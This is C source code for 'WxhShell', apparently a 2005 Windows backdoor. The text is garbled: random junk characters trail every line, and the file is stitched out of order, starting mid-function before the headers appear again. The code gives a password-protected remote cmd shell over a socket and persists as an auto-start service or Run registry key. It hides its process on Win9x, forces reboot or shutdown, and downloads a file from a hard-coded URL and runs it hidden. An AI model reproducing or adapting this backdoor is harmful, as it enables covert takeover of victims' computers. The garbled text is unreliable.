    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'k?*?XxG  
    else { o9#8q_D9  
    closesocket(wsh); T\Ld)'fNv  
    ExitThread(0); YqSkz|o}m  
    } }* s%|!{H  
    break; Me XGE  
    } 380M &Guh  
  // 获取shell cas5  
  case 's': { I# U"DwM  
    CmdShell(wsh); E ) iEWc  
    closesocket(wsh); `X ;2lgL  
    ExitThread(0); k1)=xv#S  
    break; cczV}m2)  
  } z c7P2@  
  // 退出 !HPye@Ua  
  case 'x': { L5-Kw+t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d2XS w>  
    CloseIt(wsh); ,U^V]jC  
    break; 2J5RZg9jL  
    } B8sc;Z.  
  // 离开 B%Vz -t  
  case 'q': { Tz{f 5c&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {,`)  
    closesocket(wsh); [c_o.`S_\  
    WSACleanup(); d"Aer  
    exit(1); @+P7BE}  
    break; W|e$@u9  
        } 6o4Bf| E]  
  } 5h6c W  
  } y-i6StJ  
eW>Y*l% B  
  // 提示信息  a8wQ ,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MhXJ /bup  
} >azTAX6L3  
  } 8Z:T.Gc  
'ZboLoS*-  
  return; w%L::Z4  
} ./# F,^F2  
"g=g' W#  
// shell模块句柄 ,q|;`?R;  
int CmdShell(SOCKET sock) CV )v6f  
{ VA^yv1We  
STARTUPINFO si; [9U: :  
ZeroMemory(&si,sizeof(si)); 0V_dg |.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6mAaFDI,R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +P5\N,,7R  
PROCESS_INFORMATION ProcessInfo; >/5'0n_R  
char cmdline[]="cmd"; 6Yu&'[?H$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -0 o1iU7  
  return 0; #'&&&_Hu3  
} eNEMyv5{w4  
1U(P0$C  
// 自身启动模式 8+yC P_Y4  
int StartFromService(void) }cPH}[ $zF  
{ ljw(cUM  
typedef struct N&]GP l0  
{ 6b6rM%B.oD  
  DWORD ExitStatus; EFqYEDXW  
  DWORD PebBaseAddress; /3`(Ki{ Q  
  DWORD AffinityMask; 8'}D/4MUr  
  DWORD BasePriority; pDloew  
  ULONG UniqueProcessId; ,6iXlch  
  ULONG InheritedFromUniqueProcessId; Je1'0h9d  
}   PROCESS_BASIC_INFORMATION; f%2>pQTq@)  
xh) h#p.  
PROCNTQSIP NtQueryInformationProcess; n B .?=eUa  
<bbC &O\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z +NwGVk3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jf WZLb)  
;[,r./XmH  
  HANDLE             hProcess; f+xhS,iDR  
  PROCESS_BASIC_INFORMATION pbi; T4lE-g2%M  
<T|?`;K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lc qpwSk  
  if(NULL == hInst ) return 0; _q7mYc  
dbG5Cf#K\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fDU_eyt/Z'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A`nw(f_/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lC AD $Ia~  
~p* \|YC  
  if (!NtQueryInformationProcess) return 0; s=BJ7iU_68  
Y :-O/X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %c"t`  
  if(!hProcess) return 0; nA)KRCi  
[d^ [Y:I'\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #vs=yR/tn{  
dPmtU{E<M  
  CloseHandle(hProcess); e_v_y$  
)@,zG(t5;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qwomc28O  
if(hProcess==NULL) return 0; >o_cf*nx  
/nas~{B  
HMODULE hMod; &hco3HfW  
char procName[255]; (aTpBXGr=  
unsigned long cbNeeded; 1X,\:F.-+  
6Ex 16  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f(Uo?_as  
];63QJU  
  CloseHandle(hProcess); 'n dXM   
Fd(o8z8Q  
if(strstr(procName,"services")) return 1; // 以服务启动 ucwUeRw,  
JMVh\($,x  
  return 0; // 注册表启动 Sz'H{?"  
} :5, k64'D  
E$1P H)  
// 主模块 qvN`46c  
int StartWxhshell(LPSTR lpCmdLine)  aWTvowA  
{ Hph$Z 1{  
  SOCKET wsl; k0^t$J W  
BOOL val=TRUE; P3op1/Np  
  int port=0; +F@ZVMp  
  struct sockaddr_in door; aP}30E*Y  
59X'-fg,  
  if(wscfg.ws_autoins) Install(); Y0Bd[  
RJ0:O   
port=atoi(lpCmdLine); k,0lA#>  
L_{gM`UFc  
if(port<=0) port=wscfg.ws_port; e]k\dj;,^%  
,E3Ze*(U  
  WSADATA data; ^EF VjGM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fB"It~ p  
<]wQ;14;H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FesUE_L2$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <[Y@<  
  door.sin_family = AF_INET; 9>7w1G#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t}x^*I$*  
  door.sin_port = htons(port); mVVL[z2+  
sOb=+u$$9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m(rd\3d  
closesocket(wsl); Ca k-J~=  
return 1; R^+,D  
} 7:Be.(a  
x$+g/7*  
  if(listen(wsl,2) == INVALID_SOCKET) { t1rAS.z&  
closesocket(wsl); + X0db  
return 1; @ ?CEi#-  
} 0Ma3  
  Wxhshell(wsl); KnxK9  
  WSACleanup(); W>cHZ. _  
m$!Ex}2  
return 0; r[W Ir|r7  
sHn-#SGm  
} gl>%ADOB@  
;{:bq`56f  
// 以NT服务方式启动 f*E#E=j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *h4x`luJ  
{ S*w;$`Y  
DWORD   status = 0; >4iVVs  
  DWORD   specificError = 0xfffffff; 9~ r YLR(v  
8L _]_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M%"{OHj!o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^\3r}kJ0Lp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7AuzGA0y  
  serviceStatus.dwWin32ExitCode     = 0; 1%Su~Z"W>  
  serviceStatus.dwServiceSpecificExitCode = 0; |Q*OA  
  serviceStatus.dwCheckPoint       = 0; HBiUp$(mB  
  serviceStatus.dwWaitHint       = 0; nz_1Fu>g|  
kpLx?zW--q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TJ+,G4z  
  if (hServiceStatusHandle==0) return; >^ TcO  
{}DoRp q=  
status = GetLastError(); :{'%I#k2  
  if (status!=NO_ERROR) .X;D I<K  
{ *9)yN[w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !v68`l15  
    serviceStatus.dwCheckPoint       = 0; (y!V0iy]  
    serviceStatus.dwWaitHint       = 0; L7OFZ|gUz  
    serviceStatus.dwWin32ExitCode     = status; kS1?%E,)q  
    serviceStatus.dwServiceSpecificExitCode = specificError; <BX'Owbs!O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ukwO%JAr  
    return; `w K6B5>  
  } w7`09oJm  
(Y:?qy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +XoY@|Djd  
  serviceStatus.dwCheckPoint       = 0; ?my2dd,|  
  serviceStatus.dwWaitHint       = 0; )Nnrsa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DtglPo_(  
} MNu\=p\Eq  
:e!3-#H  
// 处理NT服务事件,比如:启动、停止 D0VbD" y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m ^ '!  
{ QUK v :;  
switch(fdwControl) A?4s+A@Eg  
{ 4o ,G[Cf_  
case SERVICE_CONTROL_STOP: $q 9dkt  
  serviceStatus.dwWin32ExitCode = 0; ]%eyrbU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :7[4wQDt4  
  serviceStatus.dwCheckPoint   = 0; 0}qnq"  
  serviceStatus.dwWaitHint     = 0; [iUy_ C=qp  
  { :)DvZxHE@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ++Fv )KY@  
  } q:<vl^<j  
  return; xV>sc;PEb  
case SERVICE_CONTROL_PAUSE: nl+8C}=u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rt C:3fDy  
  break; 9?zi  
case SERVICE_CONTROL_CONTINUE: 4gh` >  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $*c!9Etl4  
  break; @r3,|tkrz  
case SERVICE_CONTROL_INTERROGATE: Y[. f`Ei2  
  break; IXC2w *'m  
}; b:(t22m#?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hh`HMa'q  
} C8AR ^F W  
!P@4dG  
// 标准应用程序主函数 Z}yd` 7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q=h37]U+  
{ tKY g  
{+jO/ZQu5  
// 获取操作系统版本 Q3rLCg,;  
OsIsNt=GetOsVer(); @j'GcN vs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6!Uk c'r  
m_h$fT8 _  
  // 从命令行安装 Wiere0 2*  
  if(strpbrk(lpCmdLine,"iI")) Install(); }S 6h1X  
PasVfC@  
  // 下载执行文件 C"R}_C|r)*  
if(wscfg.ws_downexe) { &x)nK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >9,:i)m_  
  WinExec(wscfg.ws_filenam,SW_HIDE); K8{ef  
} ui<Mnm_T;d  
y1#*c$ O  
if(!OsIsNt) { sGO+O$J  
// 如果时win9x,隐藏进程并且设置为注册表启动 >oL| nwn  
HideProc(); VU;98  
StartWxhshell(lpCmdLine); 5`Y>!| Ab  
} 46gDoSS  
else u-@;Q<v$  
  if(StartFromService()) NS){D7T  
  // 以服务方式启动 ,*Wp$  
  StartServiceCtrlDispatcher(DispatchTable); %hi]oz  
else &?Z<"+B8S  
  // 普通方式启动 P1dFoQz  
  StartWxhshell(lpCmdLine); hr`,s!0Y  
KskPFXxP  
return 0; 3*#$:waGd  
} " 1%\Fil  
}%`f%/  
V?"1&m& E  
TTD#ovo'  
=========================================== w}0rDWuR[  
@YbZ"Jb  
 z uI7Px  
?G 'sb}.  
K&BaGrR  
R{UZCFZ  
" 58t~? 2E  
h(p c GE  
#include <stdio.h> O:Wd ,3_  
#include <string.h> p<c1$O*  
#include <windows.h> &"d :+!4h  
#include <winsock2.h> vDCbD#.6  
#include <winsvc.h> JfRqOEP4Y  
#include <urlmon.h> ufo\p=pGG  
&Xi] 0\M)  
#pragma comment (lib, "Ws2_32.lib") lm|s%  
#pragma comment (lib, "urlmon.lib") m'WGK`WIm  
BFZ\\rN`  
#define MAX_USER   100 // 最大客户端连接数 ?I"FmJ;  
#define BUF_SOCK   200 // sock buffer ?KG4Z  
#define KEY_BUFF   255 // 输入 buffer ~(]'ah,  
Au"BDP  
#define REBOOT     0   // 重启 TGuCIc0B{  
#define SHUTDOWN   1   // 关机 OmZK~$K_  
S^{tRPF%d  
#define DEF_PORT   5000 // 监听端口 c3(0BSv  
s:ojlmPb  
#define REG_LEN     16   // 注册表键长度 YM#J_sy@J.  
#define SVC_LEN     80   // NT服务名长度 ]l^" A~va  
H/l,;/q]b  
// 从dll定义API lcXo>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  `l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dQ Lo,S8(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Kl]l[!c7$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \qJ cs'D  
r=#v@]z B  
// wxhshell配置信息 &/?OP)N,}  
struct WSCFG { BiA^]h/|  
  int ws_port;         // 监听端口 K0\`0E^,  
  char ws_passstr[REG_LEN]; // 口令 kH?PEA! \  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y mm*p,`  
  char ws_regname[REG_LEN]; // 注册表键名 _ygdv\^Tet  
  char ws_svcname[REG_LEN]; // 服务名 DTl&V|h$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BirnCfj/2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .&.L@CRH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;iz3Bf1o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c 6/lfgN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [6)vD@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V o%GO 9b;  
= Q"(9[Az  
}; O^IS:\JX&  
3 <Zo{;  
// default Wxhshell configuration -Fc 9mv(H  
struct WSCFG wscfg={DEF_PORT, kfq<M7y  
    "xuhuanlingzhe", o3HS|  
    1, %>t4ib_8  
    "Wxhshell", *_"lXcG.  
    "Wxhshell", orhze Oi\  
            "WxhShell Service", Ryn@">sVI  
    "Wrsky Windows CmdShell Service", a> S -50  
    "Please Input Your Password: ", AjINO}b  
  1, !X 0 (4^  
  "http://www.wrsky.com/wxhshell.exe", zKGr(9I  
  "Wxhshell.exe" Kr%`L/%  
    }; 'grb@+w(  
@'"7[k!y;  
// 消息定义模块 lr$,=P`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )6 K)UA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?uXY6J"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZK8DziO  
char *msg_ws_ext="\n\rExit."; *oAnG:J+M  
char *msg_ws_end="\n\rQuit."; (qDJgf4fgn  
char *msg_ws_boot="\n\rReboot..."; 0$|wj^?U  
char *msg_ws_poff="\n\rShutdown..."; soqnr" 1  
char *msg_ws_down="\n\rSave to "; `tm(3pJ  
Y^gIvX  
char *msg_ws_err="\n\rErr!"; j&0t!f.Rv  
char *msg_ws_ok="\n\rOK!"; <<6gsKP  
L>!MEMqm  
char ExeFile[MAX_PATH]; 1wW4bg 5  
int nUser = 0; r6 L  
HANDLE handles[MAX_USER]; EC?U#!kv  
int OsIsNt; BXr._y, cr  
s "l ^v5  
SERVICE_STATUS       serviceStatus; F>at^6^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]CgZt' h{  
:U-yO 9!j  
// 函数声明 uN6xOq/  
int Install(void); uR82},r$m  
int Uninstall(void); to)Pl}9QkK  
int DownloadFile(char *sURL, SOCKET wsh); &sGLm~m#  
int Boot(int flag); Zk0?=f?j  
void HideProc(void); ?{>5IjL)en  
int GetOsVer(void); \?AA:U*  
int Wxhshell(SOCKET wsl); kaVYe)~  
void TalkWithClient(void *cs); HK<oNr.d52  
int CmdShell(SOCKET sock); >c.HH}O0W  
int StartFromService(void); l6!a?C[2T  
int StartWxhshell(LPSTR lpCmdLine); r`C t/]c  
XNkQ0o0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7` t,   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L'a>D  
{>l`P{{y  
// 数据结构和表定义 K_V$ktL  
SERVICE_TABLE_ENTRY DispatchTable[] = yJw4!A 1!  
{ /(bn+l}W  
{wscfg.ws_svcname, NTServiceMain}, qGie~S ##  
{NULL, NULL} y |Tv;v1L  
}; s4>xh=PoJ  
[q!)Y:|u_>  
// 自我安装 e{0O "Jd`  
int Install(void) RueL~$*6.~  
{ m\ /V0V\  
  char svExeFile[MAX_PATH]; \>4x7mF!  
  HKEY key; WI54xu1M  
  strcpy(svExeFile,ExeFile); *JVJKqed  
:#UN^"(m}  
// 如果是win9x系统,修改注册表设为自启动 q|e<b  
if(!OsIsNt) { |R(rb-v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r'u[>uY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8C2!Wwz`J8  
  RegCloseKey(key); VB{G% !}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Fr9_!f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {4b8s%:!4  
  RegCloseKey(key); S]biN]+7s  
  return 0; 9|//_4]  
    } Q3x.qz  
  } 2LH.If  
} #NWc<Dd  
else { ,y/N^^\  
H/Ov8|  
// 如果是NT以上系统,安装为系统服务 <(caY37o6)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #:/-8Z(0  
if (schSCManager!=0) Xr pnc 7  
{ ,U'E!?=:VS  
  SC_HANDLE schService = CreateService x<{)xP+|  
  ( u1 (8a%ZC  
  schSCManager, 3/2G~$C  
  wscfg.ws_svcname, r$-]NYPi  
  wscfg.ws_svcdisp, vm"dE4W=  
  SERVICE_ALL_ACCESS, :@+@vM;gh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7(KVA1P66  
  SERVICE_AUTO_START, "_e /O&-cH  
  SERVICE_ERROR_NORMAL, GZ/vUe  
  svExeFile, '>r"+X^W  
  NULL, M \3Zj(E/  
  NULL, 1(WNrVm;  
  NULL, %R1$M318  
  NULL, ,]-A~^|  
  NULL G G[$-  
  ); MM4Eq>F/  
  if (schService!=0) CEp @-R  
  { > v ]-B"Y  
  CloseServiceHandle(schService); JZB@K6 ~dO  
  CloseServiceHandle(schSCManager); d!]_n|B@9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JD$;6Jv3P  
  strcat(svExeFile,wscfg.ws_svcname); W=T,hOyh<W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f}F   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); viR-h iD  
  RegCloseKey(key); <3c|S_|L*m  
  return 0; {V~G r  
    } 5R7DD5c[  
  } _ ?Z :m  
  CloseServiceHandle(schSCManager); !RwOU Ck  
} o9uir"=  
} XvspE}~y  
' fP`ET5  
return 1; 0CRk&_ht  
} ~b.e9FhdA  
S4BU!  
// 自我卸载 w@ =Uf7  
int Uninstall(void) Og~3eL[1%C  
{ T)PH8 "  
  HKEY key; t@\op}Z-M  
6H}8^'/u  
if(!OsIsNt) { Qape DU;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G[5z3  
  RegDeleteValue(key,wscfg.ws_regname); F%>`?NG+c  
  RegCloseKey(key); 4I^8f||b_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C!}9[X!7@:  
  RegDeleteValue(key,wscfg.ws_regname); u|]`gsFZ\  
  RegCloseKey(key); %t\ ~3pw=  
  return 0; p8Wik<'^  
  }  MUd 9R  
} _ -/<bO  
} AjA.="3  
else { DQOEntw  
ON<X1eU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OAXF=V F#  
if (schSCManager!=0) vtVc^j4  
{ b^]@8I[M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /DBldL7yi  
  if (schService!=0) $q~:%pQv  
  { s>^$: wzu  
  if(DeleteService(schService)!=0) { !q_fcd^c  
  CloseServiceHandle(schService); 3fWL}]{<a  
  CloseServiceHandle(schSCManager); h\i>4^]X.  
  return 0; ^w|apI~HSE  
  } c/G]r|k  
  CloseServiceHandle(schService); Y^@Nvt$<K  
  }  G(1y_t  
  CloseServiceHandle(schSCManager); |SF5'\d'  
} ]DO"2r  
} sAz]8(Fi0  
]#VNZ#("  
return 1; "~&d= f0m  
} {)d{:&*K.  
k3wAbGp  
// 从指定url下载文件 v}AVIdR  
int DownloadFile(char *sURL, SOCKET wsh) >?Ps5n]b  
{ L4L[@tMPmY  
  HRESULT hr; tX#8 G09G+  
char seps[]= "/"; .[KXO0Ui6u  
char *token; {g(-C&  
char *file; c={bunnz#  
char myURL[MAX_PATH]; x:O;Z~ |.  
char myFILE[MAX_PATH]; 'P^6H$0  
%>G(2)Fb\\  
strcpy(myURL,sURL); >1n[Y- r  
  token=strtok(myURL,seps); H(TY.  
  while(token!=NULL) ]TmxCTVL  
  { !:^lTvYWZH  
    file=token; q|+`ihut  
  token=strtok(NULL,seps); qOk=:1`3  
  } 9cm9;  
D8''q%  
GetCurrentDirectory(MAX_PATH,myFILE); x)<Hr,wd  
strcat(myFILE, "\\"); R~R?0aq  
strcat(myFILE, file); h#>%\Pvt;  
  send(wsh,myFILE,strlen(myFILE),0); <) ` ?s  
send(wsh,"...",3,0); Y([YDn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .oNs8._:  
  if(hr==S_OK) d]*a:>58  
return 0; TE.O@:7Z  
else ZOK,P  
return 1; Z1gZn)7  
=7U_ jDME  
} oHbG-p  
FX#fh 2  
// 系统电源模块 #AJo75E%  
int Boot(int flag) ![,W?  
{ _s_%}8o  
  HANDLE hToken; *uq}jlD`!  
  TOKEN_PRIVILEGES tkp; 3bi,9 >%  
?Gq|OT 8  
  if(OsIsNt) { nd[{DF?)/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NdW2OUxw"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D^5bzZk N  
    tkp.PrivilegeCount = 1; 6HW8mXQh<h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4/Yk;X[jk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O*ql!9}E{  
if(flag==REBOOT) { :6*FnKD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0;kp`hB  
  return 0; ~ j`; $o  
} !A\Qwg>  
else { 2V 1|b`b#4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DhAQ|SdCf  
  return 0; f2JeXsOI  
} fgW>U*.ar  
  } b5MCOW1+  
  else { Q3$AL@".  
if(flag==REBOOT) { 1$*ZN4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VR@V3 ~  
  return 0; B3lP#ckh  
} H 40~i=.  
else { hw@ `Q@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \!erP!$x .  
  return 0; cF[L6{Oe  
} _i=431Z40  
} J m5).  
$fhb-c3  
return 1; z)RJUmY3B  
}   pE<@  
Eu4-=2!4  
// win9x进程隐藏模块 SpM|b5c5  
void HideProc(void) 9\_^"5l  
{ P9Yw\   
k_E Jg;(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wN|;_~h2  
  if ( hKernel != NULL ) 6`tc]a"#Zb  
  { yBJf'-K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [O"9OW'2!B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^ucmScl  
    FreeLibrary(hKernel); o_.f7|U!  
  } Z?Cl5o&l b  
*Vbf ;=Mb  
return;  T\(w}  
} jvI!BZ  
qHZ!~Kq,"'  
// 获取操作系统版本 N-0kB vo  
int GetOsVer(void) )Vn(J#s  
{ -W/Lg5eK  
  OSVERSIONINFO winfo; #%~PNki  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Oy,7>vWQI  
  GetVersionEx(&winfo); fEdp^oVg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ihd{ @6m  
  return 1; G`/5=  
  else #-]!;sY>  
  return 0; zS9HR1  
} G^G= .9O  
{ ]*#WU  
// 客户端句柄模块 CAbeb+O  
int Wxhshell(SOCKET wsl) oMb&a0-7u  
{ T{A_]2 G  
  SOCKET wsh; lU`}  
  struct sockaddr_in client; ^$N}[1   
  DWORD myID; m]7oTmS  
T3_3k. ,|  
  while(nUser<MAX_USER) e5}KzFZmZ  
{ IO@Ti(,  
  int nSize=sizeof(client); kBRy(?Mft&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wNfWHaH" m  
  if(wsh==INVALID_SOCKET) return 1; + a,x  
!_No\O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R0WI s:k2  
if(handles[nUser]==0) R4#56#d<  
  closesocket(wsh); F> H5 ww9E  
else 9'My /A0  
  nUser++; g'%^-S ]  
  } RT`jWWh*Lo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DjMhI_Yu  
]c+HD*  
  return 0; z#( `H6n:  
} J)o =0i>*  
<`f~Z|/-_(  
// 关闭 socket 38gHM9T xh  
void CloseIt(SOCKET wsh) * NB:"1x  
{ G-DvM6T  
closesocket(wsh); !W4X4@  
nUser--; dsUt[z1w5  
ExitThread(0); k"L?("~   
} ZLS\K/F>>=  
=o+js;3  
// 客户端请求句柄 -~|E(ys  
void TalkWithClient(void *cs) )LdS1%  
{ o6v'`p '  
#cAX9LV  
  SOCKET wsh=(SOCKET)cs; ev LZ<|  
  char pwd[SVC_LEN]; 0dKv%X#\  
  char cmd[KEY_BUFF]; 7`G FtX}  
char chr[1]; `{B<|W$=  
int i,j; W]-c`32~S  
vJ a?5Jr  
  while (nUser < MAX_USER) { *#| lhf'  
VGVb3@  
if(wscfg.ws_passstr) { ImG7E w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jgyXb5GY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); skeXsls  
  //ZeroMemory(pwd,KEY_BUFF); H!81Pq~  
      i=0; V49[XX  
  while(i<SVC_LEN) { p(8[n^~,i  
"%?$BoJR0  
  // 设置超时 S_|VlI  
  fd_set FdRead; g{U?Y"  
  struct timeval TimeOut; 1M<;}hJ{/  
  FD_ZERO(&FdRead); ~\QN.a   
  FD_SET(wsh,&FdRead); )/Mk\``j  
  TimeOut.tv_sec=8; .!^}sp,E  
  TimeOut.tv_usec=0; }Y=X{3+~.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F5(DA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AB0>|.  
+*')0I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .zQ'}H1.C  
  pwd=chr[0]; px~:'U  
  if(chr[0]==0xd || chr[0]==0xa) { *$Tz g!/  
  pwd=0; d,:3;:CR  
  break; tm#[.  
  } =*\(Y (0  
  i++; xfFsW^w  
    } "~nUwW|=1  
d"#& VlKcv  
  // 如果是非法用户,关闭 socket $;Nw_S@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9u^yEqG`  
} Y *?hA'  
FDQP|,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KrzIL[;2o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F=9-po  
rJ^*8C!  
while(1) { *_,: &Ur  
Ce.*yO<-  
  ZeroMemory(cmd,KEY_BUFF); :vWixgLg  
2$=I+8IL  
      // 自动支持客户端 telnet标准   zAA3bgaa  
  j=0; i[r>^U8O  
  while(j<KEY_BUFF) { BHrNDpv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &XF@Dvv  
  cmd[j]=chr[0]; e'MLLC [  
  if(chr[0]==0xa || chr[0]==0xd) { OY'6~w9  
  cmd[j]=0; 37U$9]  
  break; .EXxNB]%Y&  
  } "( NJ{J#A  
  j++; BqG7E t  
    } C?-_8OA  
V =-hqo(  
  // 下载文件 .cCB,re  
  if(strstr(cmd,"http://")) { tFrNnbmlQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \O G`+"|L  
  if(DownloadFile(cmd,wsh)) *{1]b_<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cu-z`.#}R  
  else ^>/] Qi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i^_?C5  
